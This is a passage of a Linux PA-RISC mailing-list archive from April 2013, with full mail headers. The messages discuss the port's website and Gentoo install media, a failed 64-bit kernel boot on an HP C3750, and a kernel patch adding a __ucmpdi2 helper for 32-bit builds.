	with ESMTP id Upbg9Y7goLUV; Sat, 20 Apr 2013 11:51:29 +0800 (HKT)
Original-Received: from basstech.net (basstech.net [188.40.90.217])
	by basstech.net (Postfix) with ESMTP id D8A6224048F;
	Sat, 20 Apr 2013 11:51:29 +0800 (HKT)
In-Reply-To: <13691126.u1dAREQ1nW@donald.sf-tec.de>
X-Originating-IP: [168.70.54.91]
X-Mailer: Zimbra 8.0.3_GA_5664 (ZimbraWebClient - GC26 (Linux)/8.0.3_GA_5664)
Thread-Topic: PARISC Linux website and status update
Thread-Index: ob+ladbUv2N/vN2HqVdTY2/0KAFfdw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4920 gmane.linux.debian.ports.hppa:6837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4920>


Helge Deller wrote:
> Hello everyone,
>=20
> During the last few days I've invested some time in updating our
> * main website at http://www.parisc-linux.org (including news-updates=
 and
> favicon) and the * Wiki at http://wiki.parisc-linux.org
>=20
> As such, we now have some more current documentation about
> * http://wiki.parisc-linux.org/Debian_Ports_Installation =C2=A0- How =
to install
> from Debian-Ports * http://wiki.parisc-linux.org/Debian_Ports - Statu=
s
> about (technical) migration to Debian-Ports, and *
> http://wiki.parisc-linux.org/TODO - current status and TODOs regardin=
g
> infrastructure, debian packages and kernel development.
>=20
> Feedback and corrections are very much welcome.
> Volunteers to help are even more welcome :-)

While I understand your focus on Debian, on an official port website I =
would=20
think that other supported distros should at least be mentioned. And it=
's not=20
that hard, as there is only one distro at all that has HPPA support in =
their=20
official tree at all ;)

Would that be Gentoo?
Last time I checked the minimal install CD was out of date.
I did manage to get it up and running on my j6750.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Sat, 20 Apr 2013 15:48:20 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <51729CA4.2060008@gmx.de>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de> <CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366465702 2861 80.91.229.3 (20 Apr 2013 13:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 13:48:22 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 15:48:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTY9R-0001jG-3r
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 15:48:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755243Ab3DTNsY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 09:48:24 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51348 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755198Ab3DTNsY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 09:48:24 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MCeiK-1UKEk82c2U-009PX1 for
 <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 15:48:22 +0200
Original-Received: (qmail invoked by alias); 20 Apr 2013 13:48:22 -0000
Original-Received: from p54AD401A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.64.26]
  by mail.gmx.net (mp030) with SMTP; 20 Apr 2013 15:48:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18kmbx+PdEk5XRDpSj5ncKeUWt3LQcWHAyko0J/Er
	n/rhLqDD3kNDv/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4921 gmane.linux.debian.ports.hppa:6838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4921>

Hi Rolf Eike,

> On Fri, Apr 19, 2013 at 11:55 PM, Rolf Eike Beer <eike-kernel@sf-tec.de <mailto:eike-kernel@sf-tec.de>> wrote:
>     Helge Deller wrote:
>     > Hello everyone,
>     >
>     > During the last few days I've invested some time in updating our
>     > * main website at http://www.parisc-linux.org (including news-updates and
>     > favicon) and the * Wiki at http://wiki.parisc-linux.org
>     >
>     > As such, we now have some more current documentation about
>     > * http://wiki.parisc-linux.org/Debian_Ports_Installation  - How to install
>     > from Debian-Ports * http://wiki.parisc-linux.org/Debian_Ports - Status
>     > about (technical) migration to Debian-Ports, and *
>     > http://wiki.parisc-linux.org/TODO - current status and TODOs regarding
>     > infrastructure, debian packages and kernel development.
>     >
>     > Feedback and corrections are very much welcome.
>     > Volunteers to help are even more welcome :-)
> 
>     While I understand your focus on Debian, on an official port website I would
>     think that other supported distros should at least be mentioned. And it's not
>     that hard, as there is only one distro at all that has HPPA support in their
>     official tree at all ;)

You are absolutely right!
It was not at all my intention to focus on Debian (heck - I'm using Fedora for all my non-PARISC machines only :-)).

So, sorry for forgetting to mention GENTOO LINUX on the website!
I've fixed it now (please wait one hour until the cron job activates the changes).   

FWIW, the parisc Wiki already mentioned Gentoo in various places.

> Like this: http://wiki.parisc-linux.org/Distributions ?

Good link. I referenced that as well.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PARISC Linux website and status update
Date: Sat, 20 Apr 2013 15:55:18 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20130420155518.0de6df62@marga.jer-c2.orkz.net>
References: <5171B347.6070600@gmx.de>
	<13691126.u1dAREQ1nW@donald.sf-tec.de>
	<276588197.910.1366429889203.JavaMail.root@basstech.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366466124 7186 80.91.229.3 (20 Apr 2013 13:55:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 13:55:24 +0000 (UTC)
Cc: Brendan Horan <brendanhoran@basstech.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 15:55:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTYGG-0000Ws-EX
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 15:55:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755295Ab3DTNz1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 09:55:27 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:56318 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755294Ab3DTNz0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 09:55:26 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 6495C33DC17;
	Sat, 20 Apr 2013 13:55:25 +0000 (UTC)
In-Reply-To: <276588197.910.1366429889203.JavaMail.root@basstech.net>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.16; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4922>

On Sat, 20 Apr 2013 11:51:29 +0800 (HKT)
Brendan Horan <brendanhoran@basstech.net> wrote:

> Would that be Gentoo?
> Last time I checked the minimal install CD was out of date.

The only two ways in which the install CD could be truly "out of date"
is if the kernel and userland tools wouldn't support the new hardware
you wanted to install Gentoo Linux on (like previously unsupported disk
controllers) or if you wanted to install it on a novel filesystem that
the install CD's kernel and tools didn't yet support.

> I did manage to get it up and running on my j6750.

The install CD's version isn't important to the installation but
for the two exceptions mentioned above. Indeed, you might even use a
Debian install CD to do a Gentoo Linux install. The "stage3" tarballs
which contain the actual install base are what is important[1], and they
have been kept up to date quite well. That said, we recently released a
new set of boot images (CD[2] and netboot[3]) with support for
recent hardware, filesystems and (yes!) SMP.


     jer


[1] http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/
[2] http://distfiles.gentoo.org/experimental/hppa/livecd/
[3] http://distfiles.gentoo.org/experimental/hppa/netboot/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brendan Horan <brendanhoran@basstech.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PARISC Linux website and status update
Date: Sat, 20 Apr 2013 22:07:19 +0800 (HKT)
Lines: 45
Approved: news@gmane.org
Message-ID: <1544662368.29.1366466839145.JavaMail.root@basstech.net>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de> <276588197.910.1366429889203.JavaMail.root@basstech.net> <20130420155518.0de6df62@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366466843 13106 80.91.229.3 (20 Apr 2013 14:07:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 14:07:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 16:07:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTYRp-0001C9-Le
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 16:07:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932134Ab3DTOHX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 10:07:23 -0400
Original-Received: from basstech.net ([188.40.90.217]:49186 "EHLO basstech.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932133Ab3DTOHW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 10:07:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by basstech.net (Postfix) with ESMTP id A38E4240010
	for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 22:07:20 +0800 (HKT)
Original-Received: from basstech.net ([127.0.0.1])
	by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 7pv3P4wg0nSc for <linux-parisc@vger.kernel.org>;
	Sat, 20 Apr 2013 22:07:20 +0800 (HKT)
Original-Received: from localhost (localhost [127.0.0.1])
	by basstech.net (Postfix) with ESMTP id C1D6E2404E9
	for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 22:07:19 +0800 (HKT)
X-Virus-Scanned: amavisd-new at basstech.net
Original-Received: from basstech.net ([127.0.0.1])
	by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id wpbN8IL04AzQ for <linux-parisc@vger.kernel.org>;
	Sat, 20 Apr 2013 22:07:19 +0800 (HKT)
Original-Received: from basstech.net (basstech.net [188.40.90.217])
	by basstech.net (Postfix) with ESMTP id 863B7240010
	for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 22:07:19 +0800 (HKT)
In-Reply-To: <20130420155518.0de6df62@marga.jer-c2.orkz.net>
X-Originating-IP: [168.70.54.91]
X-Mailer: Zimbra 8.0.3_GA_5664 (ZimbraWebClient - GC26 (Linux)/8.0.3_GA_5664)
Thread-Topic: PARISC Linux website and status update
Thread-Index: 4pnyvvzqTiR0c4B3F3AGzjj+bMQThg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4923>



On Sat, 20 Apr 2013 11:51:29 +0800 (HKT)
Brendan Horan <brendanhoran@basstech.net> wrote:

> Would that be Gentoo?
> Last time I checked the minimal install CD was out of date.

The only two ways in which the install CD could be truly "out of date"
is if the kernel and userland tools wouldn't support the new hardware
you wanted to install Gentoo Linux on (like previously unsupported disk
controllers) or if you wanted to install it on a novel filesystem that
the install CD's kernel and tools didn't yet support.


> I did manage to get it up and running on my j6750.

The install CD's version isn't important to the installation but
for the two exceptions mentioned above. Indeed, you might even use a
Debian install CD to do a Gentoo Linux install. The "stage3" tarballs
which contain the actual install base are what is important[1], and they
have been kept up to date quite well. That said, we recently released a
new set of boot images (CD[2] and netboot[3]) with support for
recent hardware, filesystems and (yes!) SMP.


     jer


[1] http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/
[2] http://distfiles.gentoo.org/experimental/hppa/livecd/
[3] http://distfiles.gentoo.org/experimental/hppa/netboot/


I've been using Gentoo for years :) 
So I understand an "older" install CD is still fine:)

Thanks for pointing out the new live cd for me!

Brendan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paolo Borsa <samvise@hobbiton.it>
Newsgroups: gmane.linux.ports.parisc
Subject: is a 64 bit linux kernel possible?
Date: Sat, 20 Apr 2013 19:50:00 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <CAOU17uOgmenAJU+tqLo7npM7eRTQwBUGv=cc0rq7ZrZZA9rjyQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366480198 6552 80.91.229.3 (20 Apr 2013 17:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 17:49:58 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 19:50:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTbvF-0005Md-VP
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 19:50:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752878Ab3DTRuB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 13:50:01 -0400
Original-Received: from mail-ob0-f177.google.com ([209.85.214.177]:58844 "EHLO
	mail-ob0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751997Ab3DTRuA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 13:50:00 -0400
Original-Received: by mail-ob0-f177.google.com with SMTP id ef5so3778165obb.22
        for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 10:50:00 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-received:date:message-id:subject:from:to
         :content-type:x-gm-message-state;
        bh=tn4p6uk+vbAt/0a7OS/VindgP3yQh/PRkBzEQjnvWl4=;
        b=XhlLvjBHT6rhIHIUjzQ+y2S0HGmMZ01USVf5E0KatKEEMTYPizlivCRUvn4MO73TSV
         HQm6ycUkCbDeY1jGZpIsHnmk6uFju97aymhNl7p8BiJm/n3MzDQsKqCP1ON/ciJHvR3z
         Nbly30woAkgSXNiS1Li/YYhM99CA0WxB3np6nOHBEJrxh6ItUVXvY8+YNyQFcEDI1dUC
         G+1g+529ig3gyb86p3TUIbxQDEsWByvdRUl8taor4pnarElXE6+9dVgXnMTGIBr66Rs0
         crkllVf2r7f+zk6wzuF8cGpMQwH1/cSyOoI0z7bficWf96N8M4iyFg2UnERSlOPLA7pz
         HUPw==
X-Received: by 10.182.96.1 with SMTP id do1mr6242415obb.17.1366480200418; Sat,
 20 Apr 2013 10:50:00 -0700 (PDT)
Original-Received: by 10.76.168.234 with HTTP; Sat, 20 Apr 2013 10:50:00 -0700 (PDT)
X-Gm-Message-State: ALoCoQlZ8Cdd/VXmW2MKUm+JjHFiUOpCV95WNwkVl3sRsHFdw1Kdayq5DAHa5syaoOA07S+nGQqC
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4924>

Hi, I have an HP C3750 with 875Mhz PA8700+ cpu. I'm currently running
debian lenny with kernel 2.6.26 32 bit. I am trying to compile and run
the last linux kernel, 3.8.7, compiled with 64 bit kernel flag
enabled. The compilation succeed, and with file vmlinux I get:
vmlinux: ELF 64-bit MSB executable, PA-RISC 2.0 (LP64) version 1
(GNU/Linux), statically linked, not stripped

after copying it to /boot partition and rebooted the machine, I
instructed palo to load this new kernel. Unfortunately it doesn't
work, I have a serial console and the last message I see is palo
saying "If this is the last message you see, you may need to switch to
your console...."
On the lcd display of the c3750 I see "bus error". Eventually I had to
do an hard reset and come back to the previous kernel.
I don't know if the problem is because the machine doesn't support 64
bit kernel (although I think it should) or because there's some
misconfiguration in the linux kernel.
Has anybody had a similar experience?
Thanks
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: provide __ucmpdi2
Date: Sat, 20 Apr 2013 15:41:06 -0400
Lines: 107
Approved: news@gmane.org
Message-ID: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-7--514873447"
X-Trace: ger.gmane.org 1366486909 2843 80.91.229.3 (20 Apr 2013 19:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 19:41:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 21:41:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTdfU-0006Hy-Ik
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 21:41:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753110Ab3DTTls (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 15:41:48 -0400
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:8219 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753020Ab3DTTlr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 15:41:47 -0400
Original-Received: from BLU0-SMTP16 ([65.55.111.137]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 12:41:47 -0700
X-EIP: [N2pcrd9X/5c9DrpntURFmI3YooaMQi8H]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP16.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 12:41:45 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 Apr 2013 19:41:45.0816 (UTC) FILETIME=[175BA580:01CE3DFF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4925>

--Apple-Mail-7--514873447
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Provide __ucmpdi2 to resolve undefined references in 32 bit builds.

The Debian experimental linux source package (3.8.5-1) build fails  
with the following errors:
...
MODPOST 2016 modules
ERROR: "__ucmpdi2" [fs/btrfs/btrfs.ko] undefined!
ERROR: "__ucmpdi2" [drivers/md/dm-verity.ko] undefined!

The attached patch resolves this problem.  It is based on the s390  
implementation
of ucmpdi2.c.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
---




--Apple-Mail-7--514873447
Content-Disposition: attachment; filename="ucmpdi2.diff.txt"
Content-Type: text/plain; x-unix-mode=0644; name="ucmpdi2.diff.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 6795dc6..568b2c6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -120,11 +120,13 @@ extern void __ashrdi3(void);
 extern void __ashldi3(void);
 extern void __lshrdi3(void);
 extern void __muldi3(void);
+extern void __ucmpdi2(void);
 
 EXPORT_SYMBOL(__ashrdi3);
 EXPORT_SYMBOL(__ashldi3);
 EXPORT_SYMBOL(__lshrdi3);
 EXPORT_SYMBOL(__muldi3);
+EXPORT_SYMBOL(__ucmpdi2);
 
 asmlinkage void * __canonicalize_funcptr_for_compare(void *);
 EXPORT_SYMBOL(__canonicalize_funcptr_for_compare);
diff --git a/arch/parisc/lib/Makefile b/arch/parisc/lib/Makefile
index 5f2e690..5651536 100644
--- a/arch/parisc/lib/Makefile
+++ b/arch/parisc/lib/Makefile
@@ -2,6 +2,7 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o \
+	   ucmpdi2.o
 
 obj-y	:= iomap.o
--- /dev/null	2013-04-18 22:44:06.316000000 -0400
+++ linux/arch/parisc/lib/ucmpdi2.c	2013-04-20 10:50:01.000000000 -0400
@@ -0,0 +1,25 @@
+#include <linux/module.h>
+
+union ull_union {
+	unsigned long long ull;
+	struct {
+		unsigned int high;
+		unsigned int low;
+	} ui;
+};
+
+int __ucmpdi2(unsigned long long a, unsigned long long b)
+{
+	union ull_union au = {.ull = a};
+	union ull_union bu = {.ull = b};
+
+	if (au.ui.high < bu.ui.high)
+		return 0;
+	else if (au.ui.high > bu.ui.high)
+		return 2;
+	if (au.ui.low < bu.ui.low)
+		return 0;
+	else if (au.ui.low > bu.ui.low)
+		return 2;
+	return 1;
+}

--Apple-Mail-7--514873447
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-7--514873447--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: provide __ucmpdi2
Date: Sat, 20 Apr 2013 21:51:48 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <1751609.lhOQIV1TC8@eto>
References: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2899283.LglmJhOtdL"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1366487514 8373 80.91.229.3 (20 Apr 2013 19:51:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 19:51:54 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 21:51:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTdp9-0003vH-Oo
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 21:51:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754058Ab3DTTvv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 15:51:51 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43755 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753964Ab3DTTvu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 15:51:50 -0400
Original-Received: (qmail 22466 invoked from network); 20 Apr 2013 19:51:49 -0000
Original-Received: from dslb-092-077-067-019.pools.arcor-ip.net ([::ffff:92.77.67.19]:45614 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 21:51:49 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.8-3-desktop; KDE/4.10.2; x86_64; ; )
In-Reply-To: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl>
